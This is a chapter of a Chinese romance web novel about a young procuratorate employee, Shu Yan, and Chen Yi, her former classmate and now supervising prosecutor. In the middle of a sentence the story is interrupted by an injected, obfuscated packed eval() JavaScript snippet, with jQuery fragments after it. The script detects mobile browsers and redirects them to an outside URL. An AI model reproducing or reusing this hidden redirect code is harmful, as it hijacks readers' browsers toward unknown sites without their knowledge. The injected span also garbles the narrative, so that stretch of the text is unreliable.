8.08

作品:《暗昧

    不明白什么?


    陈熠只留给舒言半句话。


    他不明白,舒言更不明白。


    她懵在原地,手机推送消息不停弹出,震感将她思绪拉回,她进到微信点开看陈熠的对话框。


    刚添加上好友,只有一条系统提示提醒彼此可以开始聊天。


    这条灰色小字横在中间,就像楚河汉界那样,把这些年的她们分隔开来。


    不知道他为何突然提及他的号码,可能是她出国离开时并不体面,不仅伤害了他,也许还伤害了很多人。


    和陈熠坦白回去后,舒言便删除了他的所有联系方式,不只是他,包括在南城读书认识的所有人。


    她那时有些偏执和极端,一根筋到底,只想着和那里一刀两断,断个干净和彻底,不抱任何希望。


    舒言离开的那年已经开始使用微信,那个号很快就注销了,新的微信是她回国后办了新手机号才注册的。


    可陈熠的微信号,舒言很熟悉。


    她撒谎了,她又骗了他。


    他的号码她一直都记得,那串数字即便在手机里删掉,也清除不掉刻骨的记忆,已经在她心上打下烙印。只是将他所有的联系方式删除后,她再没有勇气拨通那个号码去打扰他。


    再次按下熟悉的号码是毕业回国后,她尝试着在微信添加朋友里输入。她当时没抱希望,却没想真的搜到他了,头像和微信名都没变,和高中时一样,一个纯黑色头像。


    然而,惊喜过后,是无尽的悲伤,那会儿她正处于毕业后的迷茫期,前路茫茫,人生无望,她还没有和过往和解,依然没有勇气出现在他的面前。


    后来很多次,舒言都用这种搜索方式来查看陈熠的微信。


    发现他的头像变了,变成一片树林,一直用到现在,名字却是一直没变。


    舒言犹豫要不要给他改备注,私心是不想备注“陈检”的,太有距离感,刚才只是迫于他在眼前。


    改成他的名字,舒言怕以后和他工作被他看见,索性什么也没改,保留他的微信名。


    回办公室的路上碰到孙博涛,梁晓佳说他算是陈熠的专职助理。舒言不太熟,见他走过来,只是礼貌点头示意。


    擦肩而过时,孙博涛迟疑了下,叫住她,“舒言。”


    舒言停下脚步,“嗯?”


    现在舒言跟着陈熠,孙博涛觉着有那么点儿同宗门的意思,想着好心提醒下她,他斟酌着措辞,“嗯……就是……陈检他,心情好像不太好。”


    舒言疑惑皱眉。


    孙博涛小声说,“他心情不好的时候,尽量不要惹他。”


    “……”


    她哪里还敢招惹他。


    “这时候千万别犯错,容易挨批。”孙博涛补充道,“特别是基础错误。”


    舒言意识到对方在给她分享和陈熠工作小技巧,她微笑回应,“好,我知道了,谢谢你。”


    她一笑小酒窝就露出来,温柔甜美,毫无攻击力,孙博涛不好意思地挠头,“没事,大家以后都要一起工作的。”


    “那我还要多多向你请教学习。”舒言说。


    “互相学习。”孙博涛回道。


    两人最后互加上微信。


    舒言磨蹭了会儿回办公室,在门口时瞅了眼陈熠,他已经换了身自己的衣服,正在整理材料。


    一屋子的人都没去换衣服,清一色的蓝,就他一抹黑色最亮眼吸睛。


    舒言忽而扯了下唇,想笑。


    就好像高中时的校服,各班要竞争评优,穿校服就是其中一项重要扣分点,班上同学都规规矩矩地穿好,不给班级拖后腿。


    可陈熠呢,就是不穿,名字不知道被记过多少次,罚也罚过,没用,人说校服不好看,对他的衣品有足够自信。


    他那时在学校男生中算很高了,不过应该没现在高,也不矮,有185,顶着一张浓眉星目的痞帅脸,高挑的身影在统一的蓝白色校服里,唯独他是不同颜色,张扬肆意极了。


    学校里管他男的女的,谁见了不回头再瞅一眼,回头率不说百分百,也有百分之九十。


    对了,还有宋庭,他后来也跟着陈熠不穿校服,班主任怪起来,还说是陈熠带坏他。


    上了几天班,舒言留心观察过他。


    她在心里把陈熠不爱穿制服和不爱穿校服,划上等号。


    拽哥包袱依然重,人设万年不倒。


    但孙博涛没说错,他的确心情很不好,脸色森冷,眸光凌厉,自动生成一道冰冷的结界,让人不敢靠近一步。


    比他丢下半句话转身离开时还要冷漠。


    舒言心里有点堵,低头默默走进去,不敢看他。


    ……


    午休时,孙博涛把椅子移到陈熠那边,和他谈事。


    舒言从门外进来,走过去就听见孙博涛问他下午什么时候出发。


    “两点。”陈熠说。


    孙博涛说好,一回头看见舒言,笑着问,“在食堂吃的饭吗?”


    舒言点头,“是的。”


    孙博涛向陈熠请教完工作,干脆转过身来面朝她,“舒言,你是临江的?”


    舒言惊讶,“你也是吗?”


    孙博涛完全忽略掉陈熠,和舒言畅聊起来,“我不是,我是你们隔壁的,不过我在你们临江一中读的书,我应该比你小两届。我怎么没见过你啊,你这种大美女,不应该啊。”


    像舒言这种校花级的美女,他不可能没有印象。


    听到这里,陈熠翻着材料的手一顿,慢条斯理地抬眼,预备看舒言怎么说。


    她的入职资料里简历栏填的是高中就读临江一中,只字未提南城实验中学,把她在南实的一年多时间完全抹掉。


    舒言下意识看了眼陈熠,对方维持着翻页的动作一动不动,投射过来的目光阴森冰冷。


    她后背发凉,开口的声音显得很没底气,“我后来到……其他地方读书了。”


    孙博涛笑,“我就说嘛,怎么可能没见过你。”


    这天没法聊下去了,万一孙博涛再追问两句她在哪里读的,她要怎么说?


    舒言艰难地挤了一个笑,背过身去。


    陈熠捕捉到她脸上一闪而过的慌张,脸色更冷。


    好歹在南实读了一年多,现在是一点不愿提及。


    孙博涛还不明所以,傻乎乎地笑着转过身来,“陈检……”


    剩下的话到嘴边,就被陈熠阴翳的脸色硬生生吓得吞回去,刚刚扬起的唇角僵硬地停留在那个弧度,然后瞬间塌下,变得一脸严肃。


    陈熠剜他一眼,孙博涛心猛跳,把刚才说过的每一句话重新回顾一遍,逐帧分析到底哪里惹到这位哥了。


    陈熠伸手去拿桌上的烟盒和打火机,没什么情绪地说,“抽支烟。”


    孙博涛立马站起来,恭恭敬敬等陈熠走前面,自己屁颠屁颠跟在后。


    远处蝉鸣声不断,可眼前这位哥异常沉默,他懒散地靠着栏杆,等烟燃烧到一半时,他才缓缓吐出一个烟圈,鼻腔里溢出笑声,懒懒的语调,“挺熟啊?”


    孙博涛没听懂,想了几秒才意识到他说的是谁,笑呵呵地回答,“你说舒言吗,还好,刚加的微信。”


    陈熠听后反倒笑了。


    孙博涛悄悄观察他脸色,他这笑别有深意,该不会是误会什么了。


    他仔细琢磨,几秒后恍然大悟,“欸,陈检,你不会以为我是故意搭讪妹子吧。”


    陈熠默不作声,漆黑眸子紧紧盯着他,无声压迫。


    孙博涛赶紧表衷心,“我是想着青蓝结对她既然跟你,你是大忙人,我帮你分担点。”


    陈熠漫不经心瞥他一眼,冷笑了声,“挺有觉悟。”


    听起来怎么有点讽刺呢?


    “真的,我没非分之想。”孙博涛慌起来口不择言,“人家刚来,我就打主意,我禽兽吗我?”


    那他成禽兽了?


    她有男朋友,他还在打主意,岂不是更禽兽?


    一想到她那个男朋友,陈熠就本能地烦躁。


    他嘴巴轻轻动了下,低骂一声,“操。”


    “嗯?”孙博涛没听清,“陈检你说什么?”


    陈熠蹙眉,神色严肃,“别想些有的没的,影响工作。”


    孙博涛疯狂点头,“嗯嗯,我知道。”


    手机弹出微信消息,陈熠点进去看,是结对仪式上拍照的同事发来的照片,附带说:【我就说你和舒言这颜值,不用修也好看,这回信了吧】


    结对仪式结束后,他让拍照的同事到时候把照片原图发给他,他要看,同事只当他是帅哥包袱重,要检查形象。


    一共发来两张,一张捧着协议书的,一张握手的。


    陈熠把两张照片都保存了下来。


    捧着协议书的那张照片第二天被胡雨晴发给舒言。


    【你们这张拍的真好看,完全是我们单位的颜值代表,你们陈主任简直不要太帅】


    【就是不是原图】


    舒言疑惑:【这是哪里的】


    胡雨晴把东湖区人民检察院官方微信公众号上的宣传文章链接发给舒言。


    舒言随手点了个关注,滑到下面看照片,每一组都放了一张,她点开她和陈熠的合照,以为他会是很冷淡漫不经心的表情,定睛细看,却发现他的唇角微微勾着。


    舒言心里忽而涌上一股暖流,他笑起来总是带着点坏,桀骜不羁,可看着就是心情好。


    她把照片保存了,其实心里更想看那张握手的,只是不方便向别人开口要。


    ……


    陈熠和孙博涛从昨天下午出去到现在,一直没回办公室。


    他似乎很忙,舒言以为自己又要无所事事坐冷板凳了。


    陈熠在忙手头的诈骗案,这个案子重,不过已经接近尾声,舒言不可能现在插进来。


    他给她发了条消息:【这两天忙】


    这么多年以来,两人之间第一条文字消息。


    舒言收到时,心不可控地颤了颤。


    简单四个字,言简意赅。


    舒言立马读懂了,他在向她说明情况,不是签了结对协议后就把她丢在一边不管。


    公事公办,舒言回:【需要我做什么吗?】


    那边到中午饭点才回复:【暂时不用】


    看来真的是很忙了。


    田宇森看起来也很忙的样子,舒言问他在做什么。


    田宇森说许检难得空闲,在教他用系统,舒言想了想,干脆凑过去一起学。


    她知道有的检察官不一定会教,看陈熠那脾气不像是要教这种基础的,到时候万一真不教,她不会的话又不好意思开口问。


    这两天,舒言都在田宇森那边跟着学。


    许文彬之前觉得舒言太过清冷安静,有距离感,现在积极主动,他倒没意见,多教一个也是教。


    他私下给陈熠发了条消息调侃:【什么情况,你的人天天跑我这儿来了】


    【?】


    陈熠直接一个问号给他甩过去。


    许文彬:【舒言在我这儿和田宇森一起,到时候劳务费给我结一下哈】


    许文彬比陈熠年纪稍长,平时爱和单位年轻人凑一起,说是显年轻,和陈熠彼此熟悉,经常开玩笑,两个人一起混惯了。


    陈熠刚在编辑框里输入了一个“滚”字,手指在发送键上空停住,忽然注意到许文彬第一句话里的三个字——“你的人”。


    他勾了勾唇,把还未发送的字删掉,改成“好”,点击发送。


    许文彬:【哟,这么大方】


    陈熠:【我的人就拜托许大检察官了】


    陈熠这样谦虚好脾气说话真是不多见,许文彬反而不适应。他不是没领教过陈熠那张嘴,平常那拽上天的调性,狗嘴里吐不出象牙,不把人气出内伤吐血,也得把你噎的说不出话。


    许文彬只觉太阳打西边出来,这家伙终于洗心革面,痛改前非,决心当个人了。


    他仔细品了品陈熠这句话,越想又觉得陈熠在阴阳怪气。


    陈熠这人阴晴难测,摸不透的。


    他好像对什么都不上心,却总能在关键时候给出一针见血的建议,那双眼眸透出的光,精明锐利,好似能洞察一切,让人觉得他心思缜密、工于心计,可他又满不在乎,漫不经心。


    他只把他想给你看的展示给你看,你是触碰不到他内心的。


    转念一想,也不一定,陈熠看着坏,其实最护犊子。从前就爱护着孙博涛,孙博涛面相越来越像小鸡仔了。


    何况现在还是个乖模样的温柔女生,真怕别人把他的人欺负了,他面子往哪儿搁,不得爆炸,这才最为致命。


    许文彬反手把那个问号还给他:【?】


    他也来个模棱两可的态度。


    陈熠:【字面意思】


    许文彬看了眼舒言,她正和田宇森交流,女生声音清甜,轻声细语的。


    得,陈大检察官的保护欲来了。


    许文彬笑着打字:【劳务费记得结一下】


    陈熠:【1】


    陈熠忙到星期五中午才回了趟单位。


    舒言先是见着孙博涛,他穿着蓝色制服从外面回来,不见陈熠。


    舒言诧异,等他和同事们打完招呼走过来时,她没忍住问,“陈检呢?”


    孙博涛放下包,边整理材料边回,“换衣服去了。”


    舒言抿了下唇,忍着笑意。


    一扭头,门口一道高大挺拔的黑色身影。


    孙博涛也注意到了,以为舒言找陈熠有事,下巴朝那边点,“喏,陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459872|201224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    检来了。”


    “陈检,舒言找你。”


    舒言:“……”


    尴尬了。


    她只是单纯好奇而已。


    连陈熠都感到诧异,路过舒言那里时,女生却低垂着眼,脸颊泛着红,没敢看他。


    直到他坐下,她仍然迟迟未有反应。


    陈熠疑惑皱眉,“不是说找我吗?”


    都问到这份儿上了,舒言知道躲不过,她缓慢侧过身去,下意识咬唇思考,磕巴解释,“就是……我这两天都在许检那里学。”


    “知道。”陈熠目光停在她咬过的唇上,再看向她,眨了下眼,示意她继续说。


    “给你说一下。”舒言补充。


    陈熠不咸不淡地哦一声。


    舒言点头,“嗯。”


    “没了?”


    “没了。”


    陈熠看出她是硬着头皮瞎编的,很轻地笑了声,舒言不知道他笑什么,,“需要我做什么吗?”


    她满脸认真,是发自内心问的,陈熠看得出来。还有几个小时就下班,别人想着怎么偷懒把最后一点时间混掉过周末,她倒好,主动找事做,当真是刚毕业的新手小白。


    陈熠开始在桌上翻来翻去找材料。


    孙博涛随时关注着旁边的情况,见陈熠在找东西,自告奋勇出主意,“陈检,刚结的案子我全部整理好了,要不给舒言翻一翻,我回头再拿去档案室。”


    舒言听后眼睛亮了亮,看着陈熠,充满期待。


    陈熠点头默许。


    孙博涛把卷宗给舒言抱去,“你先看,不懂的可以问陈检。”


    “好的,谢谢你。”舒言礼貌道谢。


    孙博涛笑,“说什么谢,见外了。”


    舒言随手翻开一本,是一起醉驾交通事故逃逸案,她皱了下眉头,接着往后翻,心里先有个大致的框架。


    女生认真翻阅,背影沉静温柔,陈熠盯着她一瞬出神。


    她很有坐相,只要是做正经事,从来都是坐姿端正、规规矩矩的,背挺得笔直,只是身形过于清瘦了。


    一前一后这样学习,陈熠恍惚间以为还在高中那间教室里,她在前面认真解题,下一秒就要转过来皱巴着那张小脸问“陈熠,这道题好难啊,你给我讲讲呗。”


    陈熠长叹一口气,把那些记忆锁起来,开始忙着手头的事。


    许久,舒言翻看到后面。


    触目惊心的现场图片直冲眼球,画面实在过于血腥,她猝不及防,浑身僵住,背部瞬间冷汗涔涔,从脚底开始发凉,内心最深处的恐惧也见缝插针钻上来。


    与此同时,胃里开始波涛汹涌,恶心一阵接着一阵翻涌上来。


    她尝试压下去,没效果,猛地合上卷宗,可刚才的画面在脑海里挥之不去。


    再压不住,舒言捂着嘴一股脑地冲出办公室。


    她动静太大,很多人不明所以,抬起头来只看到一个纤细身影从眼前闪过,以为她是急着上卫生间,没当回事。


    陈熠从听见椅子挪动的声音,目光就一直追随着她,清楚地看见她脚步轻飘,死捂着嘴巴。


    孙博涛也注意到,走到陈熠桌前,疑惑地问,“舒言这是怎么了?”


    陈熠眉头高高耸立,冷声问,“她看的什么?”


    孙博涛去舒言位置看了眼正中间摆放的案卷,回头告知,“那起醉驾逃跑的。”


    陈熠猛地起身,飞速往外走。


    旁边是女卫生间,陈熠不能进去,即便心里再急,他也不能横冲直撞,只得老老实实守在外面。


    舒言在里面什么情况他一无所知,只有断断续续的冲水声传来。


    等了会儿,毫无动静。


    陈熠走到门口,再顾不上其他,准备喊她,话还没冲破喉咙,舒言从里走了出来。


    舒言见陈熠出现在门口,脚步顿住,震惊得瞪大双眼。


    她嘴巴动了动,想问他,可嗓子眼紧得很,还未出声,陈熠先开口,声音急切,“怎么了?”


    舒言僵硬地扯了下唇,“没什么。”


    陈熠没说话,紧紧盯着她看,并不认同她说的没什么。


    舒言见瞒不过,弱弱地说,“就是有点恶心,想吐吐不出来。”


    她只是反胃干呕。


    陈熠还在看她。


    她洗过脸,肌肤通透,脸颊上有几颗晶莹小水珠,水嫩嫩的,脸色有些发白,恹恹的,倒有几分病美人的模样。


    舒言被他看得不自然,默然低下头看着脚下。


    又在回避他的视线,陈熠瞬间来气,沉声说,“还这么娇气,几张车祸图就被吓着了。”


    看似责备,实则宠溺的口吻,满是心疼。


    舒言没有那个功夫仔细辨别他的语气,也没发觉他说的是“还”,这个普通的字眼,完全暴露出他们彼此相识。


    她的心思早就被一些久远的记忆占据,那些血淋淋的画面不断浮现,内心的恐惧和无助翻滚上来,心脏紧缩得好难受。


    她只听见他说娇气,有那么点儿委屈,但她不可能对他袒露心声,只是紧紧抿着唇,把头埋得更低,众多情绪交织,忽而没憋住,鼻腔里涌入一股涩意,直达眼底。


    陈熠见她久久没有反应,只能看到她的头顶。


    他心下生出慌张,弯腰歪头去看她的眼睛,却发现她的眼眶红了。


    陈熠彻底僵住,心狠狠揪着,忽然束手无策。


    她一哭,他总是没办法的。


    男人忽然靠近,冷冽的气息强势侵入,舒言屏住呼吸,眼神躲闪着,不想让他看清她眼底的难过。


    她眨了眨眼把水汽逼回去,往后退了一步。


    她的动作很明显,刺进陈熠眼里,抗拒,排斥,充满边界。


    陈熠浑身僵了下,克制住疼痛的呼吸,直起身来,微低着头看她。


    舒言也调整好表情抬起头来,她满脸倔强,还装作若无其事。


    陈熠早就心疼得要命,可嘴上仍旧不饶,“说两句还哭了,说不得。”


    不是说不得,舒言不想解释太多,吸了下鼻子,把心底的悲伤盖住,平静地看着他,声音很低,“不是。”


    女生否认的声音软软的,听着没什么力量感,陈熠却怔了下。


    他最怕看见她平静无波的目光,然后用最温柔的声音说最让他痛的话。


    他在心里骂自己,真他妈傻逼,他到底在干嘛,把她惹哭做什么。


    陈熠烦闷地吐出一口气,声音低下来,“你脸色不太好,要不我先送你回去?”


    意识到什么,欲盖弥彰,他补充,“你住哪儿?”


    “不用了。”舒言慢吞吞地说,“我还有事。”


    陈熠愣住,看她那别扭的样子,第一反应是——


    她和她男朋友周末约会。